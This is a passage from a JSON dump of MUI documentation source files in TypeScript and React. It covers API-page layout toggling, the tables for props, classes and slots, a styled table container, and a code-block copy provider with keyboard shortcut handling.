    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Menu from '@mui/material/Menu';\nimport MenuItem from '@mui/material/MenuItem';\nimport CheckIcon from '@mui/icons-material/Check';\nimport ArrowDropDownRoundedIcon from '@mui/icons-material/ArrowDropDownRounded';\nimport useEnhancedEffect from '@mui/utils/useEnhancedEffect';\n\nexport type ApiDisplayLayout = 'collapsed' | 'expanded' | 'table';\n\nconst options: ApiDisplayLayout[] = ['collapsed', 'expanded', 'table'];\n\nexport const DEFAULT_API_LAYOUT_STORAGE_KEYS = {\n  slots: 'apiPage_slots',\n  props: 'apiPage_props',\n  classes: 'apiPage_classes',\n} as const;\n\nlet neverHydrated = true;\n\nfunction getOption(storageKey: string, defaultValue: ApiDisplayLayout): ApiDisplayLayout {\n  if (neverHydrated) {\n    return defaultValue;\n  }\n  try {\n    const savedOption = localStorage.getItem(storageKey);\n\n    if (savedOption !== null && options.includes(savedOption as ApiDisplayLayout)) {\n      return savedOption as ApiDisplayLayout;\n    }\n  } catch (error) {\n    return defaultValue;\n  }\n  return defaultValue;\n}\n\nexport function useApiPageOption(\n  storageKey: string,\n  defaultValue: ApiDisplayLayout,\n): [ApiDisplayLayout, (newOption: ApiDisplayLayout) => void] {\n  const [option, setOption] = React.useState(getOption(storageKey, defaultValue));\n\n  useEnhancedEffect(() => {\n    // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- useEnhancedEffect uses useEffect under the hood\n    neverHydrated = false;\n    const newOption = getOption(storageKey, defaultValue);\n    setOption(newOption);\n  }, [storageKey, defaultValue]);\n\n  React.useEffect(() => {\n    if (option !== defaultValue) {\n      const id = document.location.hash.slice(1);\n      const element = document.getElementById(id);\n      element?.scrollIntoView();\n    }\n    return undefined;\n  }, [option, defaultValue]);\n\n  const updateOption = React.useCallback(\n    (newOption: ApiDisplayLayout) => {\n      try {\n        localStorage.setItem(storageKey, newOption);\n      } catch (error) {\n        // Do nothing\n      }\n      setOption(newOption);\n    },\n    [storageKey],\n  );\n\n  return [option, updateOption];\n}\n\ninterface ToggleDisplayOptionProps {\n  displayOption: ApiDisplayLayout;\n  setDisplayOption: (newValue: ApiDisplayLayout) => void;\n  /**\n   * The type of section. This value is used to send correct event to Google Analytics.\n   */\n  sectionType: 'classes' | 'props' | 'slots';\n}\n\nexport function ToggleDisplayOption(props: ToggleDisplayOptionProps) {\n  const { displayOption, setDisplayOption, sectionType } = props;\n\n  const id = React.useId();\n  const buttonId = `${id}-view-switching-button`;\n  const menuId = `${id}-view-options-menu`;\n  const [anchorEl, setAnchorEl] = React.useState<HTMLElement | null>(null);\n  const [open, setOpen] = React.useState(false);\n\n  const handleMenuClick = (event: React.MouseEvent<HTMLElement>) => {\n    setAnchorEl(event.currentTarget);\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n    setOpen(false);\n  };\n\n  const handleMenuItemClick = (newDisplayOption: ApiDisplayLayout) => {\n    setDisplayOption(newDisplayOption);\n    handleClose();\n  };\n\n  return (\n    <React.Fragment>\n      <Button\n        size=\"small\"\n        variant=\"outlined\"\n        color=\"secondary\"\n        id={buttonId}\n        aria-controls={open ? menuId : undefined}\n        aria-haspopup=\"true\"\n        aria-expanded={open ? 'true' : undefined}\n        onClick={handleMenuClick}\n        endIcon={<ArrowDropDownRoundedIcon />}\n        sx={{ height: '1.875rem', p: '6px 4px 6px 8px', textTransform: 'capitalize' }}\n      >\n        <Box component=\"span\" sx={{ fontWeight: 'medium', mr: 0.5 }}>\n          {'View:'}\n        </Box>\n        {displayOption}\n      </Button>\n      <Menu\n        id={menuId}\n        anchorEl={anchorEl}\n        open={open}\n        onClose={handleClose}\n        sx={{ mt: 1, '.MuiMenuItem-root': { pl: 1 } }}\n      >\n        <MenuItem\n          value=\"table\"\n          onClick={() => handleMenuItemClick('table')}\n          selected={displayOption === 'table'}\n          data-ga-event-category=\"layout\"\n          data-ga-event-action={sectionType}\n          data-ga-event-label=\"table\"\n        >\n          {'Table'}\n          <CheckIcon\n            sx={{ fontSize: '0.85rem', ml: 'auto', opacity: displayOption === 'table' ? 1 : 0 }}\n          />\n        </MenuItem>\n        <MenuItem\n          value=\"expanded\"\n          onClick={() => handleMenuItemClick('expanded')}\n          selected={displayOption === 'expanded'}\n          data-ga-event-category=\"layout\"\n          data-ga-event-action={sectionType}\n          data-ga-event-label=\"expanded\"\n        >\n          {'Expanded list'}\n          <CheckIcon\n            sx={{ fontSize: '0.85rem', ml: 'auto', opacity: displayOption === 'expanded' ? 1 : 0 }}\n          />\n        </MenuItem>\n        <MenuItem\n          value=\"collapsed\"\n          onClick={() => handleMenuItemClick('collapsed')}\n          selected={displayOption === 'collapsed'}\n          data-ga-event-category=\"layout\"\n          data-ga-event-action={sectionType}\n          data-ga-event-label=\"collapsed\"\n        >\n          {'Collapsed list'}\n          <CheckIcon\n            sx={{ fontSize: '0.85rem', ml: 'auto', opacity: displayOption === 'collapsed' ? 1 : 0 }}\n          />\n        </MenuItem>\n      </Menu>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/sections/index.ts",
    "content": "export * from './ToggleDisplayOption';\nexport * from './PropertiesSection';\nexport * from './ClassesSection';\nexport * from './SlotsSection';\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/table/ClassesTable.tsx",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport { brandingDarkTheme as darkTheme, brandingLightTheme as lightTheme } from '../../branding';\nimport { useTranslate } from '../../i18n';\nimport { StyledTableContainer } from './StyledTableContainer';\nimport { ClassDefinition } from '../definitions/types';\nimport { ApiWarningAlert } from '../ApiWarningAlert';\n\nconst StyledTable = styled('table')(\n  ({ theme }) => ({\n    textAlign: 'left',\n    // Override docs/src/modules/components/MarkdownElement styles\n    '&&': {\n      display: 'table',\n      width: '100%',\n    },\n    '& .class-name': {\n      flexShrink: 0,\n      fontWeight: theme.typography.fontWeightSemiBold,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontSize: theme.typography.pxToRem(13),\n      color: `var(--muidocs-palette-primary-600, ${lightTheme.palette.primary[600]})`,\n    },\n    '& .class-key': {\n      ...theme.typography.caption,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightRegular,\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n      padding: '1px 4px',\n      borderRadius: 6,\n      border: '1px solid',\n      borderColor: alpha(darkTheme.palette.primary[100], 0.8),\n      backgroundColor: `var(--muidocs-palette-primary-50, ${lightTheme.palette.primary[50]})`,\n    },\n  }),\n  ({ theme }) => ({\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      '& .class-name': {\n        color: `var(--muidocs-palette-primary-200, ${darkTheme.palette.primary[200]})`,\n      },\n      '& .class-key': {\n        color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        borderColor: alpha(darkTheme.palette.primary[400], 0.1),\n        backgroundColor: alpha(darkTheme.palette.primary[900], 0.4),\n      },\n    },\n  }),\n);\n\ninterface ClassesTableProps {\n  classes: ClassDefinition[];\n  displayClassKeys?: boolean;\n}\n\nexport default function ClassesTable(props: ClassesTableProps) {\n  const { classes, displayClassKeys } = props;\n  const t = useTranslate();\n\n  return (\n    <StyledTableContainer>\n      <StyledTable>\n        <thead>\n          <tr>\n            <th>{'Class name'}</th>\n            {displayClassKeys && <th>{'Rule name'}</th>}\n            <th>{'Description'}</th>\n          </tr>\n        </thead>\n        <tbody>\n          {classes.map((params) => {\n            const { className, hash, key, description, isGlobal, isDeprecated, deprecationInfo } =\n              params;\n\n            return (\n              <tr key={className} id={hash}>\n                <td className=\"algolia-lvl3\">\n                  <span className=\"class-name\">.{className}</span>\n                </td>\n                {displayClassKeys && (\n                  <td>{!isGlobal && <span className=\"class-key\">{key}</span>}</td>\n                )}\n                <td className=\"algolia-content\">\n                  <span\n                    dangerouslySetInnerHTML={{\n                      __html: description || '',\n                    }}\n                  />\n                  {isDeprecated && (\n                    <ApiWarningAlert>\n                      <b>{t('api-docs.deprecated')}</b>\n                      {deprecationInfo && (\n                        <React.Fragment>\n                          {'－'}\n                          <span\n                            dangerouslySetInnerHTML={{\n                              __html: deprecationInfo,\n                            }}\n                          />\n                        </React.Fragment>\n                      )}\n                    </ApiWarningAlert>\n                  )}\n                </td>\n              </tr>\n            );\n          })}\n        </tbody>\n      </StyledTable>\n    </StyledTableContainer>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/table/PropertiesTable.tsx",
    "content": "/* eslint-disable react/no-danger */\nimport * as React from 'react';\nimport { styled, alpha } from '@mui/material/styles';\nimport Tooltip from '@mui/material/Tooltip';\nimport { useTranslate } from '../../i18n';\nimport { brandingDarkTheme as darkTheme, brandingLightTheme as lightTheme } from '../../branding';\nimport type { PropertyDefinition } from '../definitions/types';\nimport { StyledTableContainer } from './StyledTableContainer';\nimport { ApiWarningAlert } from '../ApiWarningAlert';\n\nconst StyledTable = styled('table')(\n  ({ theme }) => ({\n    // Override docs/src/modules/components/MarkdownElement styles\n    '&&': {\n      display: 'table',\n      width: '100%',\n    },\n    '& .type-column': {\n      minWidth: '20%',\n    },\n    '& .default-column': {\n      minWidth: '20%',\n    },\n    '& .MuiApi-table-item-title': {\n      minWidth: '20%',\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightSemiBold,\n      fontSize: theme.typography.pxToRem(13),\n      color: `var(--muidocs-palette-primary-600, ${lightTheme.palette.primary[600]})`,\n    },\n    '& .MuiApi-table-item-type': {\n      ...theme.typography.caption,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightRegular,\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n      padding: '1px 4px',\n      borderRadius: 6,\n      border: '1px solid',\n      borderColor: alpha(darkTheme.palette.primary[100], 0.8),\n      backgroundColor: `var(--muidocs-palette-primary-50, ${lightTheme.palette.primary[50]})`,\n    },\n    '& .MuiApi-table-item-signature-type': {\n      textDecoration: 'underline',\n      textDecorationStyle: 'dotted',\n      textDecorationColor: alpha(lightTheme.palette.primary.main, 0.4),\n      fontWeight: theme.typography.fontWeightMedium,\n      color: `var(--muidocs-palette-primary-600, ${lightTheme.palette.primary[600]})`,\n      '&:hover': {\n        textDecorationColor: 'inherit',\n      },\n      cursor: 'help',\n    },\n    '& .MuiApi-table-item-default': {\n      ...theme.typography.caption,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightRegular,\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n      padding: '1px 4px',\n      borderRadius: 6,\n      border: '1px solid',\n      borderColor: `var(--muidocs-palette-grey-200, ${lightTheme.palette.grey[200]})`,\n      backgroundColor: `var(--muidocs-palette-grey-50, ${lightTheme.palette.grey[50]})`,\n    },\n    '& .MuiPropTable-description-column': {\n      width: '40%',\n      paddingRight: 8,\n      '& .prop-table-description': {\n        marginBottom: 0,\n      },\n      '& .prop-table-additional-description': {\n        marginTop: 12,\n        marginBottom: 0,\n      },\n      '& .prop-table-alert': {\n        '& .MuiAlert-icon': {\n          margin: 0,\n        },\n      },\n    },\n    '& .prop-table-signature': {\n      marginTop: 12,\n      marginBottom: 0,\n      display: 'flex',\n      flexDirection: 'column',\n      gap: 16,\n      '& .prop-table-title': {\n        fontWeight: theme.typography.fontWeightMedium,\n      },\n    },\n  }),\n  ({ theme }) => ({\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      '& .MuiApi-table-item-title': {\n        color: `var(--muidocs-palette-primary-200, ${darkTheme.palette.primary[200]})`,\n      },\n      '& .MuiApi-table-item-type': {\n        color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n        backgroundColor: alpha(darkTheme.palette.primary[900], 0.3),\n      },\n      '& .MuiApi-table-item-signature-type': {\n        color: `var(--muidocs-palette-primary-200, ${darkTheme.palette.primary[200]})`,\n        textDecorationColor: alpha(darkTheme.palette.primary.main, 0.6),\n      },\n      '& .MuiApi-table-item-default': {\n        color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        backgroundColor: `var(--muidocs-palette-grey-900, ${darkTheme.palette.grey[900]})`,\n        borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n      },\n      '& .prop-table-signature': {\n        '& .prop-table-title': {\n          color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        },\n      },\n    },\n  }),\n);\n\nfunction PropDescription({ description }: { description: string }) {\n  const isUlPresent = description.includes('<ul>');\n\n  const ComponentToRender = isUlPresent ? 'div' : 'p';\n\n  return (\n    <ComponentToRender\n      className=\"prop-table-description\" // This className is used by Algolia\n      dangerouslySetInnerHTML={{\n        __html: description,\n      }}\n    />\n  );\n}\n\ninterface PropertiesTableProps {\n  properties: PropertyDefinition[];\n}\n\nexport default function PropertiesTable(props: PropertiesTableProps) {\n  const { properties } = props;\n\n  const hasDefaultColumn = properties.some((item) => item.propDefault !== undefined);\n\n  const t = useTranslate();\n  return (\n    <StyledTableContainer>\n      <StyledTable>\n        <thead>\n          <tr>\n            <th>{'Name'}</th>\n            <th>{'Type'}</th>\n            {hasDefaultColumn && <th>{'Default'}</th>}\n            <th>{'Description'}</th>\n          </tr>\n        </thead>\n        <tbody>\n          {properties.map((params) => {\n            const {\n              propName,\n              description,\n              seeMoreDescription,\n              requiresRef,\n              isOptional,\n              isRequired,\n              isProPlan,\n              isPremiumPlan,\n              isDeprecated,\n              deprecationInfo,\n              typeName,\n              propDefault,\n              additionalInfo,\n              signature,\n              signatureArgs,\n              signatureReturnDescription,\n              hash,\n            } = params;\n\n            return (\n              <tr key={propName} id={hash}>\n                <td className=\"MuiApi-table-item-title algolia-lvl3\">\n                  {propName}\n                  {isRequired ? '*' : ''}\n                  {isOptional ? '?' : ''}\n                  {isProPlan && (\n                    <a href=\"/x/introduction/licensing/#pro-plan\" aria-label=\"Pro plan\">\n                      <span className=\"plan-pro\" />\n                    </a>\n                  )}\n                  {isPremiumPlan && (\n                    <a href=\"/x/introduction/licensing/#premium-plan\" aria-label=\"Premium plan\">\n                      <span className=\"plan-premium\" />\n                    </a>\n                  )}\n                </td>\n                <td className=\"type-column\">\n                  {\n                    <span\n                      className=\"MuiApi-table-item-type\"\n                      dangerouslySetInnerHTML={{\n                        __html: typeName,\n                      }}\n                    />\n                  }\n                </td>\n                {hasDefaultColumn && (\n                  <td className=\"default-column\">\n                    {propDefault ? (\n                      <span className=\"MuiApi-table-item-default\">{propDefault}</span>\n                    ) : (\n                      '-'\n                    )}\n                  </td>\n                )}\n                <td className=\"MuiPropTable-description-column algolia-content\">\n                  {description && <PropDescription description={description} />}\n                  {seeMoreDescription && (\n                    <p\n                      dangerouslySetInnerHTML={{ __html: seeMoreDescription }}\n                      className=\"prop-table-additional-description\"\n                    />\n                  )}\n                  {additionalInfo?.map((key) => (\n                    <p\n                      className=\"prop-table-additional-description\"\n                      key={key}\n                      dangerouslySetInnerHTML={{\n                        __html: t(`api-docs.additional-info.${key}`),\n                      }}\n                    />\n                  ))}\n                  {requiresRef && (\n                    <ApiWarningAlert className=\"prop-table-alert\">\n                      <div\n                        dangerouslySetInnerHTML={{\n                          __html: t('api-docs.requires-ref'),\n                        }}\n                      />\n                    </ApiWarningAlert>\n                  )}\n                  {isDeprecated && (\n                    <ApiWarningAlert>\n                      <b>{t('api-docs.deprecated')}</b>\n                      {deprecationInfo && (\n                        <React.Fragment>\n                          {'－'}\n                          <span\n                            dangerouslySetInnerHTML={{\n                              __html: deprecationInfo,\n                            }}\n                          />\n                        </React.Fragment>\n                      )}\n                    </ApiWarningAlert>\n                  )}\n                  {signature && (\n                    <div className=\"prop-table-signature\">\n                      <span className=\"prop-table-title\">{t('api-docs.signature')}:</span>\n                      <code>{signature}</code>\n                      {signatureArgs && (\n                        <div>\n                          <ul>\n                            {signatureArgs.map(\n                              ({ argName, argDescription, argType, argTypeDescription }) => (\n                                <li className=\"prop-signature-list\" key={argName}>\n                                  <code>\n                                    {argName}\n                                    {argType && argTypeDescription && (\n                                      <Tooltip\n                                        title={\n                                          <span\n                                            dangerouslySetInnerHTML={{ __html: argTypeDescription }}\n                                          />\n                                        }\n                                      >\n                                        <span>\n                                          :{' '}\n                                          <span className=\"MuiApi-table-item-signature-type\">\n                                            {argType}\n                                          </span>\n                                        </span>\n                                      </Tooltip>\n                                    )}\n                                  </code>{' '}\n                                  {argDescription && (\n                                    <span dangerouslySetInnerHTML={{ __html: argDescription }} />\n                                  )}\n                                </li>\n                              ),\n                            )}\n                          </ul>\n                        </div>\n                      )}\n                      {signatureReturnDescription && (\n                        <p>\n                          {t('api-docs.returns')}\n                          <span\n                            dangerouslySetInnerHTML={{\n                              __html: signatureReturnDescription,\n                            }}\n                          />\n                        </p>\n                      )}\n                    </div>\n                  )}\n                </td>\n              </tr>\n            );\n          })}\n        </tbody>\n      </StyledTable>\n    </StyledTableContainer>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/table/SlotsTable.tsx",
    "content": "import { styled, alpha } from '@mui/material/styles';\nimport { brandingDarkTheme as darkTheme, brandingLightTheme as lightTheme } from '../../branding';\nimport { useTranslate } from '../../i18n';\nimport { SlotDefinition } from '../definitions/types';\nimport { StyledTableContainer } from './StyledTableContainer';\n\nconst StyledTable = styled('table')(\n  ({ theme }) => ({\n    // Override docs/src/modules/components/MarkdownElement styles\n    '&&': {\n      display: 'table',\n      width: '100%',\n    },\n    '& .slot-name': {\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightSemiBold,\n      fontSize: theme.typography.pxToRem(13),\n      color: `var(--muidocs-palette-primary-600, ${lightTheme.palette.primary[600]})`,\n    },\n    '& .class-name': {\n      ...theme.typography.caption,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightRegular,\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n      padding: '1px 4px',\n      borderRadius: 6,\n      border: '1px solid',\n      borderColor: alpha(darkTheme.palette.primary[100], 0.8),\n      backgroundColor: `var(--muidocs-palette-primary-50, ${lightTheme.palette.primary[50]})`,\n    },\n    '& .item-default': {\n      ...theme.typography.caption,\n      fontFamily: theme.typography.fontFamilyCode,\n      fontWeight: theme.typography.fontWeightRegular,\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n      padding: '1px 4px',\n      borderRadius: 6,\n      border: '1px solid',\n      borderColor: `var(--muidocs-palette-grey-200, ${lightTheme.palette.grey[200]})`,\n      backgroundColor: `var(--muidocs-palette-grey-50, ${lightTheme.palette.grey[50]})`,\n    },\n    '& .description-column': {\n      width: '40%',\n      paddingRight: 8,\n    },\n  }),\n  ({ theme }) => ({\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      '& .slot-name': {\n        color: `var(--muidocs-palette-primary-200, ${darkTheme.palette.primary[200]})`,\n      },\n      '& .class-name': {\n        color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n        backgroundColor: alpha(darkTheme.palette.primary[900], 0.5),\n      },\n      '& .item-default': {\n        color: `var(--muidocs-palette-text-primary, ${darkTheme.palette.text.primary})`,\n        backgroundColor: `var(--muidocs-palette-grey-900, ${darkTheme.palette.grey[900]})`,\n        borderColor: `var(--muidocs-palette-divider, ${darkTheme.palette.divider})`,\n      },\n    },\n  }),\n);\n\ninterface SlotsTableProps {\n  slots: SlotDefinition[];\n}\n\nexport default function SlotsTable(props: SlotsTableProps) {\n  const { slots } = props;\n  const t = useTranslate();\n\n  return (\n    <StyledTableContainer>\n      <StyledTable>\n        <thead>\n          <tr>\n            <th>{t('api-docs.slotName')}</th>\n            <th>{t('api-docs.className')}</th>\n            <th>{t('api-docs.defaultComponent')}</th>\n            <th>{t('api-docs.description')}</th>\n          </tr>\n        </thead>\n        <tbody>\n          {slots.map((params) => {\n            const { description, className, name, defaultValue, hash } = params;\n\n            return (\n              <tr key={`${className}-${hash}`} id={hash}>\n                <td className=\"slot-name\" style={{ fontWeight: '600' }}>\n                  {name}\n                </td>\n                <td className=\"MuiApi-table-class-name\">\n                  {className && <span className=\"class-name\">{`.${className}`}</span>}\n                </td>\n                <td>{defaultValue && <code className=\"item-default\">{defaultValue}</code>}</td>\n                {/* eslint-disable-next-line jsx-a11y/control-has-associated-label */}\n                <td className=\"description-column\">\n                  <span\n                    // eslint-disable-next-line react/no-danger\n                    dangerouslySetInnerHTML={{\n                      __html: description || '',\n                    }}\n                  />\n                </td>\n              </tr>\n            );\n          })}\n        </tbody>\n      </StyledTable>\n    </StyledTableContainer>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/table/StyledTableContainer.tsx",
    "content": "import { styled, alpha } from '@mui/material/styles';\nimport { brandingDarkTheme as darkTheme } from '../../branding';\n\nexport const StyledTableContainer = styled('div')(\n  ({ theme }) => ({\n    borderRadius: 12,\n    overflowX: 'auto',\n    '& table': {\n      marginLeft: -1,\n      marginRight: -1,\n      background: [\n        'linear-gradient(to right, rgb(255, 255, 255) 5%, transparent 90%) local',\n        'linear-gradient(to right, transparent, rgb(255, 255, 255) 100%) 100% center local',\n        `linear-gradient(to right, ${alpha(theme.palette.grey[500], 0.5)}, transparent 5%) scroll`,\n        `linear-gradient(to left, ${alpha(theme.palette.grey[500], 0.2)}, transparent 5%) scroll`,\n      ].join(', '),\n    },\n    '&& th': {\n      paddingTop: 8,\n      paddingBottom: 8,\n      textAlign: 'left',\n      fontWeight: theme.typography.fontWeightSemiBold,\n      fontSize: theme.typography.pxToRem(14),\n    },\n    '& tr': {\n      scrollMarginTop: 'calc(var(--MuiDocs-header-height) + 32px)',\n      '&:hover': {\n        backgroundColor: alpha(darkTheme.palette.grey[50], 0.5),\n      },\n      '& .MuiPropTable-description-column': {\n        minWidth: 300,\n      },\n    },\n  }),\n  ({ theme }) => ({\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      '& table': {\n        background: [\n          `linear-gradient(to right, ${theme.palette.primaryDark[900]} 5%, transparent 80%) local`,\n          `linear-gradient(to right, transparent, ${theme.palette.primaryDark[900]} 100%) 100% center local`,\n          `linear-gradient(to right, rgba(0, 0, 0, 0.8), transparent 10%) scroll`,\n          'linear-gradient(to left, rgba(0, 0, 0, 0.8), transparent 10%) scroll',\n        ].join(', '),\n      },\n      '& tr': {\n        '&:hover': {\n          backgroundColor: alpha(darkTheme.palette.primaryDark[800], 0.5),\n        },\n      },\n    },\n  }),\n);\n"
  },
  {
    "path": "packages/mui-docs/src/ApiPage/types.ts",
    "content": "import type { TableOfContentsEntry } from '@mui/internal-markdown';\n\n// TODO Move this type definition to the AppLayoutDocs file when moved to TS\nexport interface TableOfContentsParams {\n  children: (TableOfContentsParams | TableOfContentsEntry)[];\n  hash: string;\n  text: string;\n}\n\nexport interface LayoutStorageKeys {\n  slots: string;\n  props: string;\n  classes: string;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/CodeCopy/CodeCopy.tsx",
    "content": "import * as React from 'react';\nimport { useRouter } from 'next/router';\nimport clipboardCopy from 'clipboard-copy';\n\nconst CodeBlockContext = React.createContext<React.MutableRefObject<HTMLDivElement | null>>({\n  current: null,\n});\n\n/**\n * How to use: spread the handlers to the .MuiCode-root\n *\n * The html structure should be:\n * <div className=\"MuiCode-root\">\n *  <pre>...</pre>\n *  <button className=\"MuiCode-copy\">...</button>\n * </div>\n */\nexport function useCodeCopy(): React.HTMLAttributes<HTMLDivElement> {\n  const rootNode = React.useContext(CodeBlockContext);\n  return {\n    onMouseEnter: (event) => {\n      rootNode.current = event.currentTarget;\n    },\n    onMouseLeave: (event) => {\n      if (rootNode.current === event.currentTarget) {\n        (rootNode.current.querySelector('.MuiCode-copy') as null | HTMLButtonElement)?.blur();\n        rootNode.current = null;\n      }\n    },\n    onFocus: (event) => {\n      rootNode.current = event.currentTarget;\n    },\n    onBlur: (event) => {\n      if (rootNode.current === event.currentTarget) {\n        rootNode.current = null;\n      }\n    },\n  };\n}\n\nfunction InitCodeCopy() {\n  const rootNode = React.useContext(CodeBlockContext);\n  const router = useRouter();\n  React.useEffect(() => {\n    let key = 'Ctrl + ';\n    if (typeof window !== 'undefined') {\n      const macOS = window.navigator.platform.toUpperCase().includes('MAC');\n      if (macOS) {\n        key = '⌘';\n      }\n    }\n    const codeRoots = document.getElementsByClassName(\n      'MuiCode-root',\n    ) as HTMLCollectionOf<HTMLDivElement>;\n\n    if (codeRoots !== null) {\n      const listeners: Array<() => void> = [];\n      Array.from(codeRoots).forEach((elm) => {\n        const handleMouseEnter = () => {\n          rootNode.current = elm;\n        };\n\n        elm.addEventListener('mouseenter', handleMouseEnter);\n        listeners.push(() => elm.removeEventListener('mouseenter', handleMouseEnter));\n\n        const handleMouseLeave = () => {\n          if (rootNode.current === elm) {\n            (rootNode.current.querySelector('.MuiCode-copy') as null | HTMLButtonElement)?.blur();\n            rootNode.current = null;\n          }\n        };\n        elm.addEventListener('mouseleave', handleMouseLeave);\n        listeners.push(() => elm.removeEventListener('mouseleave', handleMouseLeave));\n\n        const handleFocusin = () => {\n          // use `focusin` because it bubbles from the copy button\n          rootNode.current = elm;\n        };\n        elm.addEventListener('focusin', handleFocusin);\n        listeners.push(() => elm.removeEventListener('focusin', handleFocusin));\n\n        const handleFocusout = () => {\n          // use `focusout` because it bubbles from the copy button\n          if (rootNode.current === elm) {\n            rootNode.current = null;\n          }\n        };\n        elm.addEventListener('focusout', handleFocusout);\n        listeners.push(() => elm.removeEventListener('focusout', handleFocusout));\n\n        async function handleClick(event: MouseEvent) {\n          const trigger = event.currentTarget as HTMLButtonElement;\n          const pre = (event.currentTarget as Element)?.previousElementSibling as Element;\n          const textNode = trigger.childNodes[0];\n          textNode.nodeValue = textNode.textContent?.replace('Copy', 'Copied') || null;\n          trigger.dataset.copied = 'true';\n          setTimeout(() => {\n            if (trigger) {\n              textNode.nodeValue = textNode.textContent?.replace('Copied', 'Copy') || null;\n              delete trigger.dataset.copied;\n            }\n          }, 2000);\n          try {\n            if (pre.textContent) {\n              await clipboardCopy(pre.textContent);\n            }\n            // eslint-disable-next-line no-empty\n          } catch (error) {}\n        }\n\n        const btn = elm.querySelector('.MuiCode-copy') as HTMLButtonElement | null;\n        if (btn) {\n          const keyNode = btn.querySelector('.MuiCode-copyKeypress')?.childNodes[1];\n          if (!keyNode) {\n            // skip the logic if the btn is not generated from the markdown.\n            return;\n          }\n          keyNode.textContent = keyNode?.textContent?.replace('$key', key) || null;\n          btn.addEventListener('click', handleClick);\n          listeners.push(() => btn.removeEventListener('click', handleClick));\n        }\n      });\n\n      return () => {\n        listeners.forEach((removeEventListener) => {\n          removeEventListener();\n        });\n      };\n    }\n\n    return undefined;\n  }, [rootNode, router.pathname]);\n  return null;\n}\n\nfunction hasNativeSelection(element: HTMLTextAreaElement) {\n  if (window.getSelection()?.toString()) {\n    return true;\n  }\n\n  // window.getSelection() returns an empty string in Firefox for selections inside a form element.\n  // See: https://bugzilla.mozilla.org/show_bug.cgi?id=85686.\n  // Instead, we can use element.selectionStart that is only defined on form elements.\n  if (element && (element.selectionEnd || 0) - (element.selectionStart || 0) > 0) {\n    return true;\n  }\n\n  return false;\n}\n\ninterface CodeCopyProviderProps {\n  children: React.ReactNode;\n}\n\n/**\n * Place <CodeCopyProvider> at the page level. It will check the keydown event and try to initiate copy click if rootNode exist.\n * Any code block inside the tree can set the rootNode when mouse enter to leverage keyboard copy.\n */\nexport function CodeCopyProvider({ children }: CodeCopyProviderProps) {\n  const rootNode = React.useRef<HTMLDivElement>(null);\n  React.useEffect(() => {\n    document.addEventListener('keydown', (event) => {\n      if (!rootNode.current) {\n        return;\n      }\n\n      // Skip if user is highlighting a text.\n      if (hasNativeSelection(event.target as HTMLTextAreaElement)) {\n        return;\n      }\n\n      // Skip if it's not a copy keyboard event\n      if (\n        !(\n          (event.ctrlKey || event.metaKey) &&\n          String.fromCharCode(event.keyCode) === 'C' &&\n          !event.shiftKey &&\n          !event.altKey\n        )\n      ) {\n        return;\n      }\n\n      const copyBtn = rootNode.current.querySelector('.MuiCode-copy') as HTMLButtonElement;\n      const initialEventAction = copyBtn.getAttribute('data-ga-event-action');\n      // update the 'data-ga-event-action' on the button to track keyboard interaction\n      copyBtn.dataset.gaEventAction =\n        initialEventAction?.replace('click', 'keyboard') || 'copy-keyboard';\n      copyBtn.click(); // let the GA setup in GoogleAnalytics.js do the job\n      copyBtn.dataset.gaEventAction = initialEventAction!; // reset the 'data-ga-event-action' back to initial\n    });\n  }, []);\n  return (\n    <CodeBlockContext.Provider value={rootNode}>\n      <InitCodeCopy />\n      {children}\n    </CodeBlockContext.Provider>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/CodeCopy/CodeCopyButton.tsx",
